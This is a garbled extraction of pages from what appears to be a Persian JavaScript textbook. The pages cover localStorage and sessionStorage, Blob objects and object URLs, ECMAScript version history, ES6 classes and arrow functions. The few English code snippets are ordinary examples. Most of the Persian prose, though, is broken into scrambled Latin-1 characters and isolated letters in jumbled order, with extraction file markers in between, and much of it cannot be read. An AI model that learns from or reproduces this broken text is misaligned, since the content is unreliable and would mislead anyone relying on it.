±»
ز
»
.µº» µÓ²Ð
ی
Å Ñ
ر حا
³ µ
ع
²º ¶
ها ب
²
¼رگ
²
م
ê¾
مخ
Ï
شد
ϲ
ی
Ãè ´
ها
ϳ»³ ¶
· ب
º²¾º³ µ
ع
²º ¼ ϳ
¾فا
º» ´»²
از ب
ß
ا´ م
ñÓ
ن
»×
می
²
گی
ÙÐ
¸فا¼ت چ
د.
ɾ
ا´ کوک· هس
ß
¶ ¼½ ب
æÓ
حا
ó
ب
»
ز ر
» ϳ
¾فا
º» ´»²
ب
Ï
د
ÉÉ
ک
ÛÁ
· قا
±°³
[
)
localStorage
( ´
ل
º
حافظه م
À
خ
Ð
ر م
»
د
Ý
م
Ú± ´
از
º ϲ
ی
Ãè ´»²
ر ک¶ ب
»
د
Ý
ید ب¶ م
Â
ها´ ک
鸲
م
Ò¼
ز
²
ب
ÆÈ¾Ð
´ م
»¶æÓ
حا
Ö
ا
Á
ان
È
ز ه
» ϳ
¾فا
º»
شدن با
Ï
د
Á»
و
à µ
ی
Â
¼ قاب
³
م·شو
ϳ
¾فا
º» ²æÁ ³
ن مور
»
و
É
ع
Ú±
ر
³ ·É¾
م
. مثا
³
ر
»³ ³
¼جو
// Write
localStorage.setItem(
“bookName”
,
“js book”
);
// Read
console
.log(localStorage.getItem(
“bookName”
));
:³²
ک
ϳ
¾فا
º»
removeItem
ز
»
ن
»
ی× م·¸و
Á
ید
Â
¿ ک
±» ò
´ حذ
»²
ب
localStorage.removeItem(
“bookName”
);
155
Ϳ¸ ØÉ³
================================================ FILE: HTML/158.html ================================================
[
)sessionStorage
( ´
ل
º
ت م
Ê·
ϲ
ی
Ãè ²±³
ا
Ý
¿ ¸فا¼ت ک¶ م
±»
، با
³
ر
»³
اب¶ آن
Ð
م
Í
´ کام
³²¹ÂÈ
·، ع
ÂÞ
¶ م
æÓ
حا
ó
ب
»
د ر
ÉÁ
ا
È
ه
ر صورت بس¾¶
³ ¼ ³
د بو
É
ه
»
و
à Ñ
ا
ÕÓ )²
¼رگ
²
ن م
³
¸ا زمان باز بو
( ·ÂÕÓ µ
س
ÐÁ
ر
³
ا
Ôɸ ¶æÓ
ر حا
³ Ï
شد
localStorage
ر¼´
²
ب
³
م¾دها´ موجو
²
ب
ϼÍ
د ¼ ع
ɾ
یس
Á í²¾º³ Æ
عات قاب
Í
ط
» ²Ì±³ ²
¼رگ
²
شدن م
د:
±
ا
ÈÁ·
م
ò
حذ
»
¶ ر
æÓ
حا
µ
س
ÐÁ
ر
³ Ï
شد
ϲ
ی
Ãè ´
ها
ϳ»³ Ö
ا
ȸ ¶
ک
³
ر
»³
clear
Ö
ا
Á ¶
ب
²Ì±³
م¾د
Ú±
sessionStorage.clear();
[
Blob
³
م·شو
Æ
شام
»
ز آنها ر
» ¶
وع
È
ــ
ß
ک¶ م
) 0,1 ( ´²É±
¾ا´ با
±³
ز
» ú
بـ×ر
object
Ú±
2
blob
Ù¾
یس
º Ú±
ر
³ ú
ها´ ب×ر
ϳ»³ ¿±» ،
´ باشد
²Ì±³ ´
¾ا
±³ ²
ا ه
± ¼
، صوت
²±
و
ภ،¿¾
د م
Á»
ک¶ م·¸و
¼ ³
بو
Ï
د
ÐÁ ·
ح
»²
ور ط
æÉ
¿ م
±» ´»²
ب
blob
»
ب¾د
»
ر
³ ،
د
Á
م·شو
ϲ
ی
Ãè
3
)
dbms
¾ابی
±³ µ±²±
مد
ما
» ،³
بو
Ï
شد
³
ا
ß±»
JimStarkey
óº
م·شد ک¶ ¸و
Æ
شام
»
ها ر
ϳ»³
ز
» ÙæÁ ·
وع¶ ب
Èß
م
Ú± óÝÓ
شد.
²¸Ú±³×Á ´
¼ز
²
م
» ³²
آن ب¶ کارب
³
و
ÎÔ
¼ ب
blob
Ö
ا
Á ½
¾خا
Á»
دها با
Õ
ب
var
debug = {hello:
“world”
};
var
blob =
new
Blob([
JSON
.stringify(debug,
null
,
2
)],
{type:
‘application/json’
});
· ب¶
º²¾º³ ´»²
ب
é
¸ی
²¸ ¶
د، ک¶ ب
ɾ
هس
í²¾º³ Æ
قاب
blob
ر¼´
²
ی× ب
Á
size
¼
type
ژگ·ها´
±¼
د.
ÉÁ»³²
باز م·گ
»
ر
blob
´»²
¾¶ ب
Ó
ا
± À
ی
à
¸خ
MIME
ç
و
Á ¼ µ±
با
é
ر قال
³
blob
×±
ا
º
¼ Ù
ی
É
ر ک
»²
ق
²
ب
Ê
ا
θ
ر
»
با آنها
Û±²º ƹ
ب¶ ش
Ù±
ر
»³
یاز
Á ¶
ک
Ù
ی
É
ر´ م·ک
»
د
ÔÌÁ
blob
ر
³ »
· ر
±
ها
ϳ»³
شدن
ϲ
ی
Ãè ،²
م
» ¿±» ´»²
ب
blob
ن
³
بو
éº
ا
É
م
Æ
لی
³ ،Ù
هی
³ Ö
ا
ßÁ»
ر¼´ آنها
²
یات ب
ÂÈ
´ ع
²
س
¹±
ò²à
با م
³
م·شو
î
ژگ· باع
±¼ ¿
ی
È
، ه
µº» ¶æÓ
¼ حا
Ö
ر¼´ ر
²
د ب
ÉÈ
ها´ آن ب¶ صورت هوش
ϳ»³
د
ɱ
آ
²Ó Ö
ا
ȸ ¶¾Î
ل
» ،Ù
ش¾¶ باشی
»³ ³
مور
ϳ»³ ´¼
ر
²
· ب
±°
با
µ
ق
³ ¼ µ
ع
²º Ù
ی
Á»
ب¾و
Ö
¶ ¼ ر
æÓ
حا
éº
ا
É
م
.³²
م·گی
Ï
د
Ô
ع
²
ب
²
¼رگ
²
م
»
¶ ر
æÓ
ز حا
» ·Á»
و
û²Ó ¼ ´
از
º ϲ
ی
Ãè
2 Binary Large Object
3 Database management system
156
داد¶
DZ
ر
±¼
زی و م
²
ر¶ س
ÆÂ
ذ
================================================ FILE: HTML/159.html ================================================
Þ
آدر
Á
ب
blob
×±¹Ç
ت
Ù
ی
É
م·ک
ϳ
¾فا
º»
URL
وم·
È
ع
object
ز
»
ز آن
» ϳ
¾فا
º» ¼ ÚÉ
ب¶ لی
Ï
¾¶ شد
Ã
ا
º
blob
Ʊ
د
θ ´»²
ب
یاز
Á ³
مور
í
ر
³
، آ
²¾
م
»
ار
Å
ن
»
و
É
ب¶ ع
²æÁ ³
مور
blob
Ñ
ا
º
ر
» ¼
createObjectURL
· م¾د
Á»
و
û²Ó
¼ با
¾¶ م·شو
Ã
ا
º
blob
¾یاب· ب¶
º³ ´»²
ب
URL.createObjectURL(blob)
“blob:null/d5782f61-86cc-4fdc-80bf-16d76b3002b1”
Ï
اهد
Ð
م
»
ر
Ù±» ϳ»³
ر
»²
ق
blob
ر
³ ¶
· ک
±»
¾و
Þ
، م
²
¼رگ
²
ر م
³ í
ر
³
¿ آ
±» ·Á»
و
û²Ó
ن با
»
م·¸و
Ñ
حا
·Õ
ق
»¼ ´
ها
ÚÉ
ر لی
³ ،µº» ¶¾Ó²
ر گ
»²
ق
í
ر
³
¿ آ
±»
ر
³ ¶
ک
null
ر
»
د
Ý
ک¶ م
Ù
ش¾¶ باشی
»³ ¶
. ¸وج
Ù
ی
±
ا
ÈÁ
´ مثا
»²
ب
µº» Ï
شد
Ö
ا
ßÁ»
ر آن
³
blob
µÃ
ا
º ¶
ک
³
هد بو
»
و
à ´»¶É
م
»³ í
ر
³
¼ر، آ
²º ´¼
ر
²
¼ ب
blob:site.com/d5782f61-86cc-4fdc-80bf-16d76b3002b1
م·باشد.
site.com
¶É
م
»³
با
µ±
ا
º
ز
»
blob
Ú± í
ر
³
آ
blob
ا¾
ȹ¸
م
Ä
بخ
Ú±
د
Á»
ک¶ م·¸و
³
ر
»³ ³
¼جو
blob
ر¼´
²
ب
4
á²
یات ب
ÂÈ
ع
Ö
ا
ßÁ» ´»²
م¾د ب
Ú± ²
حاض
Ñ
ر حا
³
é
ر قال
³ ¼ ϳ»³ á²
ب
)
ا
Ô¾Á»
ا
±( ²æÁ
مد
µ±
با
Ï
ار
È
ش
Ú±
¸ا
Ë
ا
à µ±
با
Ï
ار
È
ز ش
» »
ر
²æÁ ³
مور
blob
ز
»
هد.
³·
م
µÐ
د بازگ
±
جد
object blob
Ú±
م·شو
ê±²Õ¸ ²±
ز
Ö²Ó ¶
¼ ب
³
ر
»³ Ö
ا
Á
slice
· شد
Ó²Õ
م¾د´ ک¶ م
Blob.slice(start, end, contentType);
ر
³ Ù
هی
»
و
÷
ک¶ م
µº» ·±»
¾و
Þ
م
ç
و
Á Ö
و
º ²¾
م
»
ار
Å ¼
ان
±
ا
Å µ
بی
Ö¼³ ²¾
م
»
ار
Å ،ç¼²
ش
µ
بی
Ѽ» ²¾
م
»
ار
Å
ش¾¶ باشی
»³
د
±
جد
blob
4 slice
157
Ϳ¸ ØÉ³
================================================ FILE: HTML/16.html ================================================
³¶
زد
²
بخش ی
[
ت
±
سکری
²
جاو
ËÄ
جا
Æ
ا¸ا
Ì
خ
216
.....................................................................................
!] [
با
] [
¾ بودن
À
ا
Ë
م
217
.............................................................................................
)
موز
(
baNaNa
217
............................................................................................
د ´س¶!
¹¿ NaN
217
................................................................................
!
NaN
¶ با
˽º ²
´ب
²
ب
NaN
218
...............................................................................
!¹Ñ¸ËÈ
object
籫
آر
À
null
219
.........................................................................
] [
مان
ç»È
ودن
Ǻ بودن
á½Õ
ص
219
....................................................................
!¶Ë½º
اه
Ǹ
لی ´ش
À ¶
اه ´س
Ǹ
´ش
null
220
......................................................................
´ز صف
²¸
رگ
ç
د¾ ب
¹¿
´ر
¹
× مق
Ò´¹
ح
220
.........................................................................................
ا
È Á±´
¸¼ آر
Ë
ب
Ú»
ج
221
............................................................................
籫
در آر
ÂȲ
¶ س
Ï
ا¾ پ
È
کاما
221
...................................................
اس¶!
Ñ
مع
Ä
ا
»
ت
Á
¾ ب
ß
½و
È Ó± ،Á±´
¾ آر
²
´ب
²
رسی ب
²
ب
222
.............................................................................................
Number
با
undefined
223
..............................................................................
false
À
true
اضی با
±
باز¾ ر
224
.......................................................................................
´د
¹¿´ æ½Ø¿ ű´ç·´
224
...........................................................................
0é2
À 0é1
Ú»
درس¸ی حاص× ج
225
...............................................................................
د
¹¿ Á
´¾ س
²
ب
Á˱
مقا
Ä
ا
غ´
225
.............................................................................................
اضی
±
ا¾ ر
Ⱦ
باز
227
...............................................................................
call
ÂȲ
¶ س
Ï
ی پ
º´
و
É´²·
227
.......................................................................................
constructor
ژگی
±À
228
............................................................
´س¶
object
Ó±
object
ژگی ´ز
±À Ó± ¹½Ð
ک
229
...........................................................................................
prototypes
Á
سی ب
²¸
دس
229
.....................................................................................
æ½Ø¿
Object
¶É
سا
230
.......................................................................................
)labels
(
ا
ÈæË
چ
²
ب
230
...................................................................................
label
´س¸فاده تودرتو ´ز
231
.......................................................................................
!æ½Ø¿ try..catch
================================================ FILE: HTML/160.html ================================================
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
ید.
É
ک
ϳ
¾فا
º» Ë
ا
à ¶Á
ز ک¾ابخا
» ϳ
¾فا
º»
ز کوک·ها بد¼ن
»
±
ید.
É
ک
ϳ
¾فا
º» ð
ی
Þ
ص
ƹ
ب¶ ش
Ö»
کد
²
ز ه
»
ید
Á»
¼ ب¾و
Ï
ا شد
É
¼½ آش
ϳ»³ ´
ر
»
د
ÔÌÁ ´
ها
ó
ب
»
با ر
±
ش¾¶ باشید.
»³
sessionStorage
¼
localStorage
ز
» ϳ
¾فا
º» Ï
ا
̱
ز جا
» ·Â
کام
Ø
ر
³
±
sessionStorage
¼
localStorage
کوک· ¼
ϳ
ا
º µ±²±
´ مد
»²
´ ب
»¶Á
ید ک¾ابخا
É
· ک
Õº
سید.
±
و
É
ب
±
هید.
³ ð
¸وضی
»
ر
blob
³²
ید کارب
Á»
ب¾و
±
ید.
É
ک
ϲ
ی
Ãè »
ر
ϳ»³
ز
» Ë
ا
à ç
و
Á Ú±
ید
Á»
ب¾و
blob
ز
» ϳ
¾فا
º»
با
±
ید.
É
ک
Ï
اهد
Ð
م
ÚÉ
لی
é
ر قال
³ »
ر
blob
Ï
شد
ϲ
ی
Ãè ´
ها
ϳ»³
ید
Á»
ب¾و
±
ید.
±
ا
ÈÁ
از´ آن
º»
¼ جد
Ʊ
ا
Ó
ن
³²
¶ ک
¹¸ ¶¹¸ ¶
ر ب
³
قا
slice
ز م¾د
» ϳ
¾فا
º»
با
158
داد¶
DZ
ر
±¼
زی و م
²
ر¶ س
ÆÂ
ذ
================================================ FILE: HTML/161.html ================================================
³
بخش ·ه
و
Polyfill
،
اسکریپت
ÆÊ±
É
ه·ا
Ë̶
Transpile
ا¶½ا¼ بخش:
ES ¾
م×¼ل
Á
ا
Ã
×ه
Ò
آش¸ای· با ن
آ¶
Á
ا
֮
و ویژ
ES6
آش¸ای· کل· با
polyfill ±²³
آش¸ای· با مف
polyfill ¾
¿ری
À ½²»³
ب
polyfill Áµ
بر
closure
ز
µ ½
س¼فا
µ
transpile ±²³
مف
transpile Áµ
½ بر
²
ج
²
م
Á
ا
úµÖ
ب
µ
babel
ز
µ ½
س¼فا
µ Ë
ز
²
آم
================================================ FILE: HTML/162.html ================================================
[
ت
±
اسکری
ÇȲ Æ
ه¸ا
ÉÊ·
Ú± óº
، ¸و
µ
پ
±²¹º
ا
È
ک
» .³¼
م·ر
Ä
ی
Å
ECMAScript
³
ر
»
د
Á
¾ا
º»
با
ë
اب
ä
م
µ
پ
±²¹º»¼
زبان جا
Ï
د
É
ه
³ ¶Õº
´، ¸و
Ü
ولو
ɹ¸ Ñ
ا
ÕÓ ´
ها
µ
ک
²
ش
»
ا´ آن ر
ñ
ع
» ¶
ک
µº» Ï
¾¶ شد
Ã
ا
º
1
TC39 Ö
ا
Á ¶
ب
Ù
¸ی
زبان
³
ر
»
د
Á
¾ا
º» ´¼
ر
²
ب
Ö»
مد
TC39 Ù
د. ¸ی
É
ه
³·
م
Æ
ی
¹Ð¸ ¶Õ
¿ جام
±» ¶
د ب
É
ق¶م
Í
ع
³»²Ó» ¼
ها
²
¼رگ
²
م
·Â¹
ی¿ ب¶ ش
àà
ز م¾خ
»
عوت
³ ¼ ·àà
ها´ ¸خ
³»
د
±¼
ر´ ر
»×
گ
²
با ب
ÙæÉ
د ¼ ب¶ صورت م
É
کار م·ک
د.
ÉÉ
م·ک
Æ
ی
ȹ¸ »
ا ر
È
ک
» ³
ر
»
د
Á
¾ا
º» ،
ا
±
و
Å
¿ زبان
±» ´
از
º³
ر
»
د
Á
¾ا
º» ´»²
ب
ecma
·ÂÂÈ
ل
» ¿
ازمان بی
º ¶
´ ک
³
ر
»
د
Á
¾ا
º» µ
پ
±²¹º
ا
È
ک
» µÝ
ی
Ý
ر ح
³
ن
»
ا م·¸و
α²Ý¸ µº» ³
ر
»
د
Á
¾ا
º» ¿±» ´»
ر
»³
¿ زبان
±²¸Æ
کام
µ
پ
±²¹º»¼
¼ چون جا
µº» ϳ»³ ¶Ç»
ر
»
ی×
Á ´²Ì±³ ´
¾¶ هس¾¶ها
Î
ل
» ،
د
É
زبان م·باش
Ú± ´»²
ب
Ö
ا
Á ¼³ µ
پ
±²¹º»¼
¼ جا
µ
پ
±²¹º
ا
È
ک
» ¶
ک
µ
گف
.ActionScript , V8 , SpiderMonkey
د:
ÉÁ
د ما
Á»Ï
شد
ϳ»³ ¶Õº
¸و
³
ر
»
د
Á
¾ا
º» ¿±» ´¼
ر
²
ب
Ú±³×Á ¼
د
Á
ر
»³ ·Â
· ک
Á
ا
Î
¾ی
ÐÅ
ا
α²Ý¸
د
Á³
بو
ϳ»³ ¶Ç»
ر
» »
د ر
±
ات جد
Á
ا
¹
م
» ·Ã²
ک¶ ب
es5 ¼ es3 ¶
سخ
Á
槯
ور
ÔÐ
ی× م
Á es2015 ¶
ک¶ ب
es6 ¶
سخ
Á ·
د ¼ل
ɾ
ازگار هس
º
ها
ها´ ر¼ز با آن
²
¼رگ
²
رصد م
³ 100 ¶
ب
Ä
وش
Å Ä
¿ بخ
±»
ر
³ ¶
· ک
±
ارها
¹
ه
»
ر
µ
س
±
¼ م·با
³
·شو
ÈÁ ·Á
ا
Î
¾ی
ÐÅ Æ
وز ب¶ صورت کام
É
ا ه
α²Ý¸
شو
»²
ج
»
ها
²
¼رگ
²
ر م
³
آن
Æ
¼ کام
ð
ی
Þ
´ ص
»²
ج
» ´»²
د ب
Á
م·شو
ϳ»³
[
ت؟
ÊÃ
چ
ES
Ï
اهد
Ð
م
³
عد
Ú± Ï»²È
ب¶ ه
»
ر
ES
ارت
Î
بار ک¶ ع
²
، ه
槯
ECMAScript
Ï
ص¶ شد
ÍÃ
ES
1 technical commitee 39
160
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/163.html ================================================
²Ð¾É
ز آن م
» ¶
سخ
Á 9 ²
حاض
Ñ
ر حا
³ ¼
د
É
م·ک
Ï
شار
» µ
پ
±²¹º
ا
È
ک
»
ز
» ¶
سخ
Á Ú± ¶
ید، قاعد¸ا ب
É
م·ک
.³»³ Ù
هی
»
و
à ·Â
ک
ð
¸وضی
Ö»
کد
²
ه
³
ر مور
³ ¶
د ک
Á»Ï
شد
ا
»
ار ´ک
µ
تا چ
Ó± ¾
ا
ÈÁ
خ
˺
±
Guy
óº
ک¶ ¸و
µ
پ
±²¹º
ا
È
ک
»
ز
» ¶
سخ
Á ¿
خس¾ی
Á ¶
شد ک
²Ð¾É
م
1997 Ñ
ا
º ¿Ç¼Ü
ر
³
1 ¶
سخ
Á
بو
Ï
شد
ı»²±¼
L. Steele Jr
±
از´
º ³
ر
»
د
Á
¾ا
º»
ر
³
ت
»²
¸÷یی
Ú± Æ
شد ¼ شام
²Ð¾É
م
1998 Ñ
ا
º ¿Ç¼Ü
Ą±
ر ¸ار
³ 2 ¶
سخ
Á
زبان بو
±
ت
»
ار
Î
¶ شدن ع
Ó
ضا
» ،
د
ÉÁ
¸· ما
»²
شد، ¸÷یی
²Ð¾É
م
1999 Ñ
ا
º ²Î
ام
º³ Ą±
ر ¸ار
³ 3 ¶
سخ
Á
د.
Á
¶ شد
Ó
ضا
» ¶
سخ
Á ¿±»
ر
³ … ¼
try/catch
ها´
Ø
و
Â
رش¾¶ها، ب
µ±²±
، مد
ÙæÉ
م
±
سخ¶
Á
´ با
³
ا
±
سخ¶ ¸فا¼تها´ بسیار ز
Á ¿±» ،
رها شد
Ï
¶ کار
È
ی
Á ¼
د
ÐÁ ¶Ç»
ر
» ¶
ک
4 ¶
سخ
Á
²
بخاط
²¾Ð
¿ رها شدن بی
±» Æ
لی
³ ¼ ³
بو
»¼
د جا
ÉÁ
´ ما
²
ب
ÿ
ر
» Ù
¼ مفاهی
íÍ
´ ک
»
ر
»³ ¼ µ
ش
»³ ¶º
دها
Õ
د، ب
ɾӲ
ر گ
»²
ق
6 ¶
سخ
Á
ر
³ ×
ی
Á
ژگ·ها
±¼ ·Ã²
¼ ب
³
یدگ· زبان بو
ã
ی
Å Ï
ربار
³ ·¾º
یا
º ´
¸فا¼تها
ش
»
د
Á ·Á»
د
É
چ
µ
ی
ÝÓ
شد ¼ل· مو
²Ð¾É
م
ActionScript
Ö
ا
Á ¶
ب
²Ì±³ ·Á
ن زبا
»
و
É
سخ¶ ب¶ ع
Á ¿±»
ب¶ آنها
Ê
بو
²
ن موضوعات م
³
· بو
ȱ
قد
Æ
لی
³ ¶
ک¶ ب
³
بو
µ
پ
±²¹º
ا
È
ک
» ·Èº
ر
ç¼²
ش
Ѽ» ¶
سخ
Á
ار
Ô
چ
.Ù±¼
م·ر
²¸
د
±
سخ¶ها´ جد
Á Ć»²º ¶
¼ ب
ϳ²
ر´ ک
»³³
و
à ¶É
¿ زمی
±»
ر
³ ²¾Ð
بی
ð
ز ¸وضی
»
ES5 Á
خ
˺
سخ¶
Á ¿±»
ر
³ .
ض¶ شد
²
ع
µ
پ
±²¹º
ا
È
ک
» ¶
سخ
Á ¿
¼لی
»
ز
» ìÅ Ñ
ا
º ϳ
ا
α²Ý¸ 2009 Ñ
ا
º ²Î
¾ام
º³
ر
³
ز
» ·Á
ا
Î
¾ی
ÐÅ ،
setter
¼
getter
، م¾دها´
³
بو
Ï
¶ شد
Ó
ضا
» )
mode strict
( ¶Á»²
گی
µ
خ
º µ
حال
2011 Ñ
ا
º
ر
³ ¼
د
Õ
ب
Ñ
ا
º ¼³ ¶¾Î
ل
» ،
د
Á³
بو
Ï
ض¶ شد
²
ها ع
Object
ر¼´
²
ها ب
³
و
ÎÔ
´ ب
²
س
¹± ¼
JSON
شد.
²Ð¾É
از´ م
º³
ر
»
د
Á
¾ا
º» ´»²
ب
5ć1 ¶
سخ
Á
ES2015
ا
± ES6 Á
خ
˺
ES6 ¶
ک
»²
ید چ
É
ک
éßÕ¸ ¼ ³
م·شو
ç¼²
سخ¶ ش
Á ¿±»
ر
³ ·È
د ک
±
شد ¼ شا
²Ð¾É
م
2015 Ñ
ا
º ¿Ç¼Ü
ر
³
Ï
ید
ã
ی
Å ´
ام¶ها
Á²
´ ¸ولید ب
»²
وب· ب
Ã
ژگ·ها´ بسیار
±¼ ¶
سخ
Á ¿±»
ر
³ ،
د
ɾ
سان هس
¹± ES2015 ¼
د
±
ژگ·ها´ جد
±¼ ·Ã²
ب
Ï
ربار
³ ¶
ها م·باشد ک
ѼÜ
ها ¼ ما
Class
Æ
ژگ·ها شام
±¼ ¿±» ،µº» Ï
¶ شد
Ç»
ر
»
.³»³ Ù
هی
»
و
à ð
¸وضی
161
Íä· ØÉ³
================================================ FILE: HTML/164.html ================================================
)
ES2018 , ES2017 , ES2016(
9 , 8 , 7 ¾
ا
ÈÁ
خ
˺
2018
,
2017
,
2016 ´
ها
Ñ
ا
º
ز
» ¿Ç¼Ü Ï
ر ما
³ ¶Á°
ا
º
ی× ب¶ صورت
Á µ
پ
±²¹º
ا
È
ک
»
ز
»
سخ¶ها
Á ¿±»
د.
Á»Ï
¶ شد
Ó
ضا
» ³
ر
»
د
Á
¾ا
º» ¿±» ¶
د ب
±
ا¸· جد
Á
ا
¹
م
» Ú± ²
ر ه
³ ¼
د
Á»Ï
شد
²Ð¾É
م
ES.Next Á
خ
˺
ϳ²
ک
Ï
اهد
Ð
ی× م
Á »
ر
ES.NEXT
ن
»
و
É
ید، ع
É
¶ م·ک
Õ
ال
ä
¸· ک¶ م
°
ا
Ý
¼ م
é
ال
ä
ر م
³ µº» ¿¹È
م
槯
ر
»²
´ ک¶ ق
»¶
سخ
Á ،³¼
ب¶ کار م·ر
µ
پ
±²¹º
ا
È
ک
» ´
د
Õ
سخ¶ ب
Á ¶
ب
Ï
شار
» ´»²
ب
³
¿ مور
±» ،
باشید
م·شو
Æ
شام
»
ر
³
شو
²Ð¾É
· م
ÂÕÓ ¶
سخ
Á
ز
» ìÅ
د ¼
É
¶ م·ک
Ó
ضا
» µ
پ
±²¹º
ا
È
ک
»
هد ¼ ب¶ زبان
³·
¶ م
Ç»
ر
» »
د´ ر
±
ات جد
Á
ا
¹
م
» ¼
ژگ·ها
±¼ ،¶
سخ
Á ²
ه
¿±²¸·Â
ص
» .³
م·شو
Ö
ا
ßÁ» ¶Á°
ا
º ¼ ÙæÉ
سخ¶ها، ب¶ صورت م
Á ·Á
ا
º
¿ ب¶ ر¼زر
±» ²
ی
û ´
ها
Ñ
ا
º ·
ط
ر
³ ،
´ م·باشد
²
گی
³
ا
± ´»²
ب
µ
ی
È
ه
» ×Ç
ک¶ حا
µº» ϳ»³ ý
ز آن ر
»
د
Õ
سخ¶ها´ ب
Á ¼ ES6
ر
³
ت
»²
¸÷یی
.³²
ک
Ù
هی
»
و
à Ï
شار
»
· آن
Â
ژگ·ها´ ک
±¼ ¼ ES6 ¶
ب
óÝÓ ½
¿ ک¾ا
±»
[
ES6 Æ
´¸ا
Ïå
وی
³²
¶ ک
Ó
ضا
» µ
پ
±²¹º»¼
ب¶ جا
»
· ر
±
ا
α
¼ ز
²
گی
ÙÐ
ات چ
Á
ا
¹
م
» ¼
ت
»²
، ¸÷یی
ES6
ر
³ ú
ب×ر
Ñ
و
Þ¸
ز
» ·Ã²
ب
Ù
ی
É
· م·ک
Õº Ä
¿ بخ
±»
ر
³ .
د
É
م·ک
²¸Ä
¼ لذت بخ
²¸´»¶Ó²
ح
»
س· با آن ر
±
و
Á¶
ام
Á²
ک¶ ب
¿±» ،Ù
گف¾ی
²¸Ä
ی
Å ¶
ور ک
äÁ
ا
È
، ه
Ù
ی
É
· ک
º
ر
²
· ب
Â
ب¶ صورت ک
»
ر
6 ¶
سخ
Á
ر
³ Ï
¶ شد
Ç»
ر
» ´
ژگ·ها
±¼
ها،
íÍ
د: ک
ÉÁ
ا¸· ما
Á
ا
¹
م
» ¼
شد
ϳ»³ ¶Ç»
ر
» µ
پ
±²¹º
ا
È
ک
»
ر
³ ´²
گی
ÙÐ
ها´ چ
³
و
ÎÔ
ت ¼ ب
»²
سخ¶ ¸÷یی
Á
Ï
¶ شد
Ó
ضا
»
ب¶ آن
2
… ¼
object
µ
ح
»
ر
µ±²±
رش¾¶ها، مد
ϳ
ا
º µ±²±
، مد
Arrow Functions
Æ
کام
Ù
ی
Ô
ر ¸ف
³ ·Õº Ñ
¶ مثا
Ç»
ر
»
¼ با
ϳ»³ ð
¸وضی
»
· ر
Â
ص
» Ï
شد
Ï
شار
» ´
ژگ·ها
±¼ ¶
م
»³»
ر
³ .µº»
ش
»³ Ù
هی
»
و
à éÂä
م
Classes
ا
ÈÞ°
ک
Û
ب
»
¸و
Ö
و
Ô
¼ مف
prototype
Ï
ربار
³ ¿
ی
Ð
ی
Å ´
ها
ÆàÓ
ر
³ ¶
ک
»²
ا هس¾ید، چ
É
آش
íÍ
ک
Ö
و
Ô
قاعد¸ا با مف
·Âû³ ´
ژگ·ها
±¼ ¼ Û
ب
»
¸و
ê±²Õ¸ ´»²
×¼ل¶ ب
±» ó
ی
Þ
م
Ú±
ها
íÍ
· شد. ک
Â
کام
µÎÞ
ر¼´ آنها ص
ê±²Õ¸ Ï»
لخو
³ Û
ب
»
ژگ·ها ¼ ¸و
±¼
¼ با
Ï
ور
æÉ
م
Ë
ا
à ´
ها
µ±³
د ک¶ موجو
Á
از
º·
ر م
³
قا
»
د ¼ ما ر
ɾ
هس
ی
É
ک
ϳ
¾فا
º» ¼
ز آن
» ϳ
¾فا
º»
ان
¹
م
» ¼
ها
íÍ
ک
³
¼جو
ES6
ز
» ϳ
¾فا
º» ´»²
ب
Ï
د
ÉÉ
ک
ÛÁ
بسیار قا
Ʊ°³
ز
» ·¹± °
ا
Ⱦ
ح
»
2 http://es6-features.org/
162
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/165.html ================================================
prototype
ز
» ϳ
¾فا
º» ¶
یاز´ ب
Á ²Ì±³ ¼
شد
ϳ»³ ï²
ش
class
ید´
Â
¶ ک
ÈÂ
سخ¶ ک
Á ¿±»
ر
³ ،
م·باشد
:µº» Ï
¶ شد
Ç»
ر
» 6 ¼ 5 ¶
سخ
Á
ر
³ íÍ
ح· ک
»²
ط
Ö
ا
ßÁ» Ï
و
ÞÁ
ز
» ·
مثال
Ä
¿ بخ
±»
ر
³ ،
·باشد
ÈÁ
// ES6 class
class
Things
{
constructor
() {
// run when create new instance
}
capture() {
// a method on this class
}
}
// extend class
class
Glass
extends
Things
{
capture() {
// call parent method
super
.capture();
// …
}
}
// ES5 code
var
Things =
function
() {
//
};
Things.prototype.capture =
function
() {
// …
};
Ö
ا
Á ¶
ب
Ï
د
Á
از
º Û
¸اب
Ú± Ù
ی
Á»
م·¸و
Ï
شد
ê±²Õ¸ íÍ
ک
²
س·، ه
±
و
Á¶
ام
Á²
زبانها´ ب
²
کث
»
ر
³
)
د
±
جد
object
Ú± µÃ
ا
º ´»²
ب
(íÍ
ز آن ک
»
ن
³²
ک
new
Ö
ا
ÌÉ
ک¶ ه
Ù
ش¾¶ باشی
»³
constructor
م·شو
»²
ج
»
ژگ·ها ¼
±¼
ز
» ϳ
¾فا
º» ¼ ²Ì±³ ·ºÍ
ز ک
»
شدن
extend
ان
¹
م
» , ES6
ر
³ Ï
شد
ê±²Õ¸ ´
ها
íÍ
ک
از
º·
م
Ù
ه
»²Ó
extends
ید´
Â
¶ ک
ÈÂ
ز ک
» ϳ
¾فا
º»
با
»
ر
)惯
¼ر
(
لد
»¼ íÍ
م¾دها´ ک
163
Íä· ØÉ³
================================================ FILE: HTML/166.html ================================================
Arrow Functions
arrow functions
ژگ·
±¼ ³
¼جو
ES6
دگان
É
ه
³ ¶Õº
ر ¸و
³ ´
د
É
ق¶ م
Í
ع
³
ا
ß±» ´»²
ا ب
α
ان ز
¹
م
» Ú±
اها ¼
äÃ
ز
» ´²
وگی
Â
´ ج
»²
، ب
Ï
وش¾¶ شد
Á ´
· کدها
±
ا
α
س· ¼ ز
±
و
Á
کد
Ùß
ح
Ä
کاه
²
ب
ϼÍ
ک¶ ع
槯
³²¹ÂÈ
ا ع
ñÕ
ب
µ
پ
±²¹º»¼
ک¶ جا
»²
د، چ
É
م·ک
ÆÈ
بسیار کارآمد ع
scoping
ب¶
Ê
بو
²
یدگ·ها´ م
ã
ی
Å
د ¼
É
·ک
ÈÁ Ï
شار
» ·ÂÕÓ
object
ب¶
Ï
ر
»
و
È
ه
this
ید´
Â
¶ ک
ÈÂ
. ک
³
ر
»³
ها
object
با
³
ور
ò
ر ب
³ ·Î
ی
ß
ع
ر
³ »
¸· ر
͹Ð
م
Ï
ر
»
و
È
، ه
Ù
ی
É
ک
Ï
شار
» ²æÁ ³
مور
object
ب¶
this
با
Ù
ی
Á»
· ک¶ ب¾و
ä±»²
ن ش
³
آ¼ر
Ù
ه
»²Ó
¿±» Æ
ح
²
· ب
